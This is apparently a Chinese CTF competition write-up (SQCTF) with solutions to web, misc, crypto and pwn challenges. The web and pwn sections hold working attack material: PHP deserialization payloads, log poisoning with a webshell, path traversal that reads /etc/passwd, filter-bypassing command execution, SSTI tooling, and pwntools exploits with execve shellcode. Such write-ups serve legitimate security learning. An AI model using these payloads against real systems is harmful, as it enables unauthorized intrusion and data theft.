WEB eeaassyy 考的是查看源码的手段,f12和右键和ctrl+u用不了,可以直接把js禁用了或者在设置里点开发者工具
逃 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );include ("flag.php" );function filter ($payload ) { $black_list =array ("flag" ,"php" ); return str_replace ($black_list ,"stop" ,$payload ); } class test { var $user = 'test' ; var $pswd = 'sunshine' ; function __construct ($user ) { $this ->user=$user ; } } $payload =$_GET ['payload' ];$profile =unserialize (filter ($payload ));if ($profile ->pswd=='escaping' ){ echo "逃出来了, 恭喜恭喜<br>" ; echo $flag ; } ?>
有替换函数,直接锁定是字符串逃逸,况且这里还不需要写pop链,只需要逃逸字符串就行,直接给exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class test { var $user = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pswd";s:8:"escaping";}' ; var $pswd = 'sunshine' ; } $a = new test ();$b = 'O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pswd";s:8:"escaping";}";s:4:"pswd";s:8:"sunshine";}' ;echo urlencode ($b );$b =str_replace ("php" ,"stop" ,$b );
把$b的内容传参就行
1 ?payload=O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pswd";s:8:"escaping";}";s:4:"pswd";s:8:"sunshine";}
Upload_Level1
文件上传,一个简单的前端后缀名过滤,传jpg文件抓包改后缀就行,用蚁剑连接
My Blog 有一个login.php,访问是一个登录界面,登录密码在/file.pdf中
baby include 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php if (isset ($_GET ['look' ])){ $look = $_GET ['look' ]; $look = str_replace ("php" , "!!!" , $look ); $look = str_replace ("data" , "!!!" , $look ); $look = str_replace ("filter" , "!!!" , $look ); $look = str_replace ("input" , "!!!" , $look ); include ($look ); }else { highlight_file (__FILE__ ); } ?>
就禁用了伪协议,用日志包含就行
是nginx的,日志文件路径默认是/var/log/nginx/access.log,访问然后传ua头写一句话木马就行
ezGame 有一个flag.php文件,访问出来要求分数达到2048
根据之前页面的score,试着传参看看能不能改分数,也是让我给蒙到了
这道题也可以在控制台传入js代码
1 2 obj.score = 2048; obj.getFlag();
商师一日游 首页提示/atc1acrd.html,访问一下,在源码发现了东西
继续访问/atc2cnzd.php,有一段提示,伪造cookie
1 打开你的终端,构造一块fish牌的曲奇饼,上面刻下strong字样,便可获得强筋壮骨
继续/atc3oklm.php,提示在devtool开发者工具中找,找了半天发现在响应头中
继续访问/atc4zztg.php,访问robots.txt
继续跟着走吧
1 2 3 4 5 6 7 8 9 10 11 12 $a =$_GET ['hhh' ]; if (preg_match ('/^php$/im' , $a )){ if (preg_match ('/^php$/i' , $a )){ echo 'hacker' ; } else { echo xxxxxxxxxxx; } } else { echo 'nonononono' ; }
需要进入第一个if但是不能进入第二个if,第一个if是多行匹配,第二个if是单行匹配,那就用%0a去换行就行
继续
在按钮对应的源码中的把disable删掉,恢复按钮功能
继续/atc7wedf.php
一句话木马,在源码中看到通过pre标签将一句话木马解析执行了,所以可以直接连蚁剑找最后一个碎片,然后拼接所有的碎片就是flag
1 sqctf{e06e21306ab5463f894e4118c33fb3ab}
唯一 啥都没有
有点想ssti’的渲染,在网络中看到是python的
估计是jinja2,传个note参数就出来了
然后fenjing一把梭
嘿嘿嘿 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php highlight_file (__FILE__ );class hhh { public $file ; public $content ; public function __construct ($file , $content ) { $this ->file = $file ; $this ->content = $content ; } public function __destruct ( ) { if ($this ->file && $this ->content) { if (strpos ($this ->file, 'flag' ) !== false ) { die ("No flag file!" ); } if (file_exists ($this ->file)) { die ("File already exists!" ); } file_put_contents ($this ->file, $this ->content); } } } class xxx { public $data ; public function __construct ($data ) { $this ->data = $data ; } public function __toString ( ) { return $this ->data; } } class yyy { public $path ; public $allowed ; public function __construct ($path , $allowed ) { $this ->path = $path ; $this ->allowed = $allowed ; } public function __toString ( ) { if ($this ->allowed) { return file_get_contents ($this ->path); } else { return "Access Denied!" ; } } } if (isset ($_POST ['data' ])) { $data = unserialize ($_POST ['data' ]); if (is_array ($data ->file) || md5 ($data ->file) === md5 ("flag.php" )) { die ("No cheating!" ); } if (strpos ($data ->file, 'php://' ) !== false ) { die ("No php protocol!" ); } if ($data ->content === "GET_FLAG" ) { echo "Flag: " . file_get_contents ("flag.php" ); } } ?>
重点关注到下面的这段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if (isset ($_POST ['data' ])) { $data = unserialize ($_POST ['data' ]); if (is_array ($data ->file) || md5 ($data ->file) === md5 ("flag.php" )) { die ("No cheating!" ); } if (strpos ($data ->file, 'php://' ) !== false ) { die ("No php protocol!" ); } if ($data ->content === "GET_FLAG" ) { echo "Flag: " . file_get_contents ("flag.php" ); } }
有file和content内容,在hhh,然后我们看hhh类中的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 class hhh { public $file ; public $content ; public function __construct ($file , $content ) { $this ->file = $file ; $this ->content = $content ; } public function __destruct ( ) { if ($this ->file && $this ->content) { if (strpos ($this ->file, 'flag' ) !== false ) { die ("No flag file!" ); } if (file_exists ($this ->file)) { die ("File already exists!" ); } file_put_contents ($this ->file, $this ->content); } } }
在__destruct
中有两个if语句,要求file中需要有flag,这个file文件也不能存在,不存在的话则会写入文件
File_download
看看help
在这个路径下传文件名可以得到文件内容,但是目前没啥文件名是已知的,回到登录页面随便传1/1然后rul中出现/index.jsp,看看能不能获取到这个文件内容
1 /DownloadServlet?filename=index.jsp
1 2 3 <%-- Created by IntelliJ IDEA . User : yuzhenzhao Date : 2025 /2 /19 Time : 11 :50 To change this template use File | Settings | File Templates . --%> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <% 登录失败,请检查用户名和密码。 "); } %>
看着没啥用,然后就没啥思路了,看看能不能找到版本漏洞
随便传个路径得到报错信息出现版本
下载源码下来分析一下
漏洞复现放在另一篇文章专门讲了
1 DownloadServlet?filename=WEB-INF/web.xml
还有一个FlagManager的类,看看能不能访问到这个类
根据 Java 的包和类的组织规则,该类的完整路径应该是:
1 /src/com/ctf/flag/FlagManager.java
在构建后,这个类会被编译,并在 WEB-INF/classes
目录下生成相应的 .class
文件。其路径为:
1 /WEB-INF/classes/com/ctf/flag/FlagManager.class
但是访问出来说需要下载后查看,一开始get访问下载不下来,post访问才能下载
因为是class文件,需要反编译成java文件,用JD-GUI去进行反编译
其中有一个加密,写个解密的脚本然后换成字符
1 2 3 4 5 6 7 8 s = [110 , 107 , 185 , 183 , 183 , 186 , 103 , 185 , 99 , 105 , 105 , 187 , 105 , 99 , 102 , 184 , 185 , 103 , 99 , 108 , 186 , 107 , 187 , 99 , 183 , 109 , 105 , 184 , 102 , 106 , 106 , 188 , 109 , 186 , 111 , 188 ] f = '' for i in s: x = (i ^ 0x30 ) - 38 f += chr (x) print (f)
用SQCTF{}包裹一下就是flag了
Through
存在任意文件读取,但是一开始做目录穿越读不出来,看看是不是过滤了../
穿越符号
1 ?file=..././..././..././etc/passwd
然后尝试读取flag,猜了一下txt和php后缀,最后发现是无后缀的
简单的intval函数绕过
Ping 分号过滤了,用管道符就行
RceMe 1 2 3 4 5 6 7 <?php $command = $_GET ['com' ];if (isset ($command ) && strlen ($command ) <= 5 ) { system ($command ); } else { print ("你小子干什么呢?" ); }
限制了长度,我记得p牛师傅之前有写过文章
1 2 ?com=ls / //bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var
可以看到有flag
在 Shell 中,*
匹配当前路径的非隐藏文件和目录 ,/*
→ 匹配根目录下所有文件和一级子目录 ,并且nl只处理可读文本文件,会跳过目录和二进制文件
所以直接用命令
就行
小小查询系统 sql注入,传入id=1返回查询结果,加上单引号就报错,sqlmap一把梭就行
baby rce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting (0 );highlight_file (__FILE__ );extract ($_GET );$token = false ;if (isset ($param1 ) && isset ($param2 )){ if (sha1 ($param1 ) == sha1 ($param2 )){ $token = true ; echo "Level 1 pass\n" ; } } class TYctf { public $person = 20 ; public $computer_number = 30 ; function getNumber ( ) { if (isset ($this ->person)) { echo $this ->person; } } function isFullUse ( ) { if ($this ->person != $this ->computer_number){ echo "computer is lacking !!!\n" ; } else { echo "computer is enough !!!\n" ; } } static function getKey ( ) { include ("flag.php" ); echo "Level 2 pass\n" ; echo "You are winner, this is your reward: \n" ; echo $flag ; } } if ($token ){ call_user_func ($_POST ['payload' ]); } ?>
Level1很好过,用数组绕过sha1弱比较就行
然后在Level2中可以看到有flag,call_user_func
是可以调用类中的方法的,所以直接调用就行
Ez_calculate
计算表达式的,写个脚本就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import requestsfrom bs4 import BeautifulSoupimport reurl = "http://challenge.qsnctf.com:30979/" def solve_math_challenge (): with requests.Session() as s: get_resp = s.get(url) if get_resp.status_code != 200 : print ("Failed to fetch page" ) return soup = BeautifulSoup(get_resp.text, "html.parser" ) challenge_div = soup.find("div" , class_="challenge" ) if not challenge_div: print ("No challenge found" ) return expression = challenge_div.text.strip() if not re.match (r"^[\d\+\-\*\/\(\) ]+$" , expression): print ("Invalid expression format" ) return try : result = eval (expression) except : print ("Calculation error" ) return post_data = {"value" : result} post_resp = s.post(url, data=post_data) print ("Response:\n" , post_resp.text) if __name__ == "__main__" : solve_math_challenge()
白月光 看版本是python3.8的,然后输入1会回显,直接fenjing一把梭
参数是name
1 python -m fenjing crack --url http://challenge.qsnctf.com:31419/ --inputs name --method POST
无参之舞 正常是打不开的,得抓包
看到需要post传参的参数名
1 username=sqctf&password=123456//用户名或密码错误
爆一下弱口令
有一个302跳转,抓包传参再放包就行
如果传入单个字母和数字,就会报错,根据提示猜测是无参数rce,传入phpinfo没回显但是没报错,估计是禁用了
传入highlight_file()就会返回还差一点,用print_r可以
1 ?exp=print_r(scandir('./'));
看到好多flag文件
试着传入system但是发现被过滤了,转码绕过
1 2 3 exp="\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd"); 等价于 exp=system("cat /etc/passwd");
这里的话必须给绝对路径的目录,不然是读不出来的
1 ?exp="\x73\x79\x73\x74\x65\x6d"("tac /var/www/html/f*");
我也不知道为什么,测出来是这样的,后面看看源码吧
哎呀大大大黑塔 说实话这道题真的想喷,感觉啥都没考,还得硬看pv看好几遍
千查万别
可以传入文档id然后查文件,传入1显示文件不存在
但是测试了一下发现存在任意文件读取
1 /view?doc=../../../../../etc/passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
然后一直没头绪,看到版本是Werkzeug/3.0.6 Python/3.8.20,就去把源码拉下来看了一下,以为是版本漏洞但是也不是
后来通过目录穿越读到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from flask import Flask, request, render_template_string, sessionimport osapp = Flask(__name__) app.secret_key = os.environ.get('SECRET_KEY' , os.urandom(16 )) @app.route('/' ) def index (): username = session.get('username' , 'guest' ) template = f''' 欢迎,{username} ! 输入文档ID: ''' return render_template_string(template) @app.route('/view' ) def view_doc (): doc = request.args.get('doc' , 'test.txt' ) base_dir = '/app/static/docs' filepath = os.path.realpath(os.path.join(base_dir, doc)) if filepath == '/flag' : return "非法路径!" try : with open (filepath, 'r' ) as f: content = f.read() return f" {content} " except : return "文档不存在!" if __name__ == '__main__' : app.run(host='0.0.0.0' )
session下的ssti,但是需要密钥加密
1 app.secret_key = os.environ.get('SECRET_KEY', os.urandom(16))
这里提示密钥在环境变量中,SECRET_KEY=Dark_Flame
用flask-unsign去伪造就行
MISC ez_music1 音频隐写,用audacity去看多视图里面就能看到了
love.host 随波逐流foremost提取,获得ZIP中flag,最后将前缀改为SQCTF
王者荣耀真是太好玩了
搜索该用户,头像有线索
百度地图搜索这个位置,看到评论,url解码获得flag
Welcome_Sign_in 关注公众号然后发信息拿flag就行
密码 春风得意马蹄疾 核心价值观编码:https://ctf.bugku.com/tool/cvecode
多解码几次就出来了
小白兔白又白
base家族多重编码
Base91 -> Base64 -> Base62 -> Base16
1 U2FsdGVkX1+cEAtCb8l5oIiX+J9CwG3SpvdB38nPFkjnJ1HmRvbYQubVZDL3
然后根据提示找到有Rabbit加密/解密,密钥为91+64+62+16=233
ezCRT ai一把梭
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import mathfrom gmpy2 import irootn1 = 64461804435635694137780580883118542458520881333933248063286193178334411181758377012632600557019239684067421606269023383862049857550780830156513420820443580638506617741673175086647389161551833417527588094693084581758440289107240400738205844622196685129086909714662542181360063597475940496590936680150076590681 n2 = 82768789263909988537493084725526319850211158112420157512492827240222158241002610490646583583091495111448413291338835784006756008201212610248425150436824240621547620572212344588627328430747049461146136035734611452915034170904765831638240799554640849909134152967494793539689224548564534973311777387005920878063 n3 = 62107516550209183407698382807475681623862830395922060833332922340752315402552281961072427749999457737344017533524380473311833617485959469046445929625955655230750858204360677947120339189429659414555499604814322940573452873813507553588603977672509236539848025701635308206374413195614345288662257135378383463093 c1 = 36267594227441244281312954686325715871875404435399039074741857061024358177876627893305437762333495044347666207430322392503053852558456027453124214782206724238951893678824112331246153437506819845173663625582632466682383580089960799423682343826068770924526488621412822617259665379521455218674231901913722061165 c2 = 58105410211168858609707092876511568173640581816063761351545759586783802705542032125833354590550711377984529089994947048147499585647292048511175211483648376727998630887222885452118374649632155848228993361372903492029928954631998537219237912475667973649377775950834299314740179575844464625807524391212456813023 c3 = 23948847023225161143620077929515892579240630411168735502944208192562325057681298085309091829312434095887230099608144726600918783450914411367305316475869605715020490101138282409809732960150785462082666279677485259918003470544763830384394786746843510460147027017747048708688901880287245378978587825576371865614 assert all (math.gcd(n1, ni) == 1 for ni in [n2, n3]), "模数不互质" difference = (c2 - c1) % n2 inverse_n1 = pow (n1, -1 , n2) k_value = (difference * inverse_n1) % n2 combined_x = c1 + k_value * n1 combined_n = n1 * n2 difference2 = (c3 - combined_x) % n3 inverse_combined_n = pow (combined_n, -1 , n3) k_value2 = (difference2 * inverse_combined_n) % n3 final_x = combined_x + k_value2 * combined_n m_root = iroot(final_x, 3 ) if m_root[1 ]: hex_representation = hex (m_root[0 ])[2 :] if len (hex_representation) % 2 != 0 : hex_representation = '0' + hex_representation flag_bytes = bytes .fromhex(hex_representation) print ("原始字节:" , flag_bytes)
别阴阳我了行吗? 阴阳怪气解密
失落矿洞中的密码 得使用sagemath,一个开源的数学软件系统
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 p = 7654319 a = 1234577 b = 3213242 E = EllipticCurve(GF(p), [a, b]) G = E(5234568 , 2287747 ) public_key = E(2366653 , 1424308 ) d = G.discrete_log(public_key) c1 = E(5081741 , 6744615 ) c2 = E(610619 , 6218 ) m = c2 - d * c1 flag = m[0 ] + m[1 ] print ("x + y =" , flag)
简单RSA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from sympy import factorintfrom Crypto.Util.number import inversee = 65537 n = 7349515423675898192891607474991784569723846586810596813062667159281369435049 4972480162884797189264829871765353580130001039648730163874337321112291861130 3085395918276581448802374282340959466855267082463537645783012114467990260586 3066189568406517231831010468189513762519884223049871926129263923438273811831 8623856519706511141861553555412798834652782180247895390731800810394292844990 3937822628435671658318572798451731617256525013382935831222144050803114002851 5954553016396884149904097959425582366305748700291610280675014390376786701270 1071364926455936627634440321745432050083267063719548304197755154598782271489 97362533 c = 3514741378432598036735573845050830323348005144476193092687936757918568216312 3216249780869990792876194640388176654677488601462193424136303648562745511753 6702650411095640751122465909548117858958742402468225607659858255892637235431 6897644421756280217349588811321954271963531507455604340199167652015645135632 1774291442417321322757921567724015113264300697569482984035198426799233689909 5255526403416497597594574701630494817932538123846517172342704314047356503882 7474908821764094888942553863124323750256556241722284055414264534546088842593 3494013801421649271889435196981413155543470202398560478422588408268310778356 04327616 factors = factorint(n) p, q = factors.keys() phi_n = (p - 1 ) * (q - 1 ) d = inverse(e, phi_n) m = pow (c, d, n) hex_m = hex (m)[2 :] flag = bytes .fromhex(hex_m).decode('utf-8' ) print (flag)
pwn 浅红欺醉粉,肯信有江梅 直接nc就行
领取你的小猫娘 一个很简单的栈溢出,也是学了好一会才会
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) io=process('./pwn' ) io=remote('challenge.qsnctf.com' ,30010 ) elf=ELF('./pwn' ) system=0x40121B payload=b'a' *(0x50 +8 )+p64(system) io.sendline(payload) io.interactive()
我觉君非池中物,咫尺蛟龙云雨 用 mprotect函数使得bss段可读写执行故直接写shellcode即可
注意这里需要小于0x30个字节,我们用的是24字节的,直接上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) io=remote('challenge.qsnctf.com' ,32618 ) elf=ELF('./pwn' ) payload = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x 57\x54\x5e\x0f\x05" print (payload)io.recvuntil('window.' ) io.sendline(payload) io.interactive()
当时只道是寻常